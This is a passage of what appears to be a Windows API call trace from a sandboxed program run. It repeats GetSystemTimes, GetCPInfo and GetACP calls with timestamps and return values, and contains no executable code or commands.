lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.313] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.313] GetACP () returned 0x4e4 [0052.313] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.313] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.313] GetACP () returned 0x4e4 [0052.313] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.313] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.314] GetACP () returned 0x4e4 [0052.314] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.314] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.314] GetACP () returned 0x4e4 [0052.314] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.314] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.314] GetACP () returned 0x4e4 [0052.314] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.314] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.314] GetACP () returned 0x4e4 [0052.314] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.314] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.314] GetACP () returned 0x4e4 [0052.314] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.314] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.314] GetACP () returned 0x4e4 [0052.314] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.314] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.314] GetACP () returned 0x4e4 [0052.314] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.314] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.314] GetACP () returned 0x4e4 [0052.314] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.314] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.314] GetACP () returned 0x4e4 [0052.314] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.314] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.314] GetACP () returned 0x4e4 [0052.314] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.315] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.315] GetACP () returned 0x4e4 [0052.315] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.315] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.315] GetACP () returned 0x4e4 [0052.315] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.315] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.315] GetACP () returned 0x4e4 [0052.315] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.315] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.315] GetACP () returned 0x4e4 [0052.315] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.315] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.315] GetACP () returned 0x4e4 [0052.315] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.315] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.315] GetACP () returned 0x4e4 [0052.315] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.315] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.315] GetACP () returned 0x4e4 [0052.315] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.315] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.315] GetACP () returned 0x4e4 [0052.315] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.315] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.315] GetACP () returned 0x4e4 [0052.315] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.316] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.316] GetACP () returned 0x4e4 [0052.316] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.316] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.316] GetACP () returned 0x4e4 [0052.316] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.316] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.316] GetACP () returned 0x4e4 [0052.316] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.316] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.316] GetACP () returned 0x4e4 [0052.316] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.316] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.316] GetACP () returned 0x4e4 [0052.316] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.316] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.316] GetACP () returned 0x4e4 [0052.316] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.316] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.316] GetACP () returned 0x4e4 [0052.316] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.316] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.316] GetACP () returned 0x4e4 [0052.316] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.316] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.316] GetACP () returned 0x4e4 [0052.316] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.316] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.316] GetACP () returned 0x4e4 [0052.317] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.317] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.317] GetACP () returned 0x4e4 [0052.317] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.317] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.317] GetACP () returned 0x4e4 [0052.317] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.317] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.317] GetACP () returned 0x4e4 [0052.317] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.317] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.317] GetACP () returned 0x4e4 [0052.317] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.317] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.317] GetACP () returned 0x4e4 [0052.317] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.317] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.317] GetACP () returned 0x4e4 [0052.317] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.317] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.317] GetACP () returned 0x4e4 [0052.317] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.317] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.317] GetACP () returned 0x4e4 [0052.317] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.317] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.318] GetACP () returned 0x4e4 [0052.318] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.318] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.318] GetACP () returned 0x4e4 [0052.318] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.318] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.318] GetACP () returned 0x4e4 [0052.318] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.318] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.318] GetACP () returned 0x4e4 [0052.318] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.318] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.318] GetACP () returned 0x4e4 [0052.318] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.318] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.318] GetACP () returned 0x4e4 [0052.318] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.318] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.318] GetACP () returned 0x4e4 [0052.318] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.319] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.319] GetACP () returned 0x4e4 [0052.319] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.319] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.319] GetACP () returned 0x4e4 [0052.319] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.319] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.319] GetACP () returned 0x4e4 [0052.319] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.319] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.319] GetACP () returned 0x4e4 [0052.319] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.319] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.319] GetACP () returned 0x4e4 [0052.319] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.319] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.319] GetACP () returned 0x4e4 [0052.319] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.319] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.319] GetACP () returned 0x4e4 [0052.319] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.319] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.319] GetACP () returned 0x4e4 [0052.319] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.319] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.319] GetACP () returned 0x4e4 [0052.319] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.320] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.320] GetACP () returned 0x4e4 [0052.320] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.320] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.320] GetACP () returned 0x4e4 [0052.320] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.320] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.320] GetACP () returned 0x4e4 [0052.320] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.320] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.320] GetACP () returned 0x4e4 [0052.320] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.320] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.320] GetACP () returned 0x4e4 [0052.320] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.320] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.320] GetACP () returned 0x4e4 [0052.320] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.320] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.320] GetACP () returned 0x4e4 [0052.320] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.320] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.320] GetACP () returned 0x4e4 [0052.320] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.320] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.320] GetACP () returned 0x4e4 [0052.320] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.320] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.320] GetACP () returned 0x4e4 [0052.321] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.321] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.321] GetACP () returned 0x4e4 [0052.321] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.321] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.321] GetACP () returned 0x4e4 [0052.321] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.321] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.321] GetACP () returned 0x4e4 [0052.321] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.321] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.321] GetACP () returned 0x4e4 [0052.321] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.321] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.321] GetACP () returned 0x4e4 [0052.321] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.321] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.321] GetACP () returned 0x4e4 [0052.321] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.321] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.321] GetACP () returned 0x4e4 [0052.321] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.321] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.321] GetACP () returned 0x4e4 [0052.321] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.321] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.321] GetACP () returned 0x4e4 [0052.321] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.322] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.322] GetACP () returned 0x4e4 [0052.322] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.322] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.322] GetACP () returned 0x4e4 [0052.322] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.322] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: 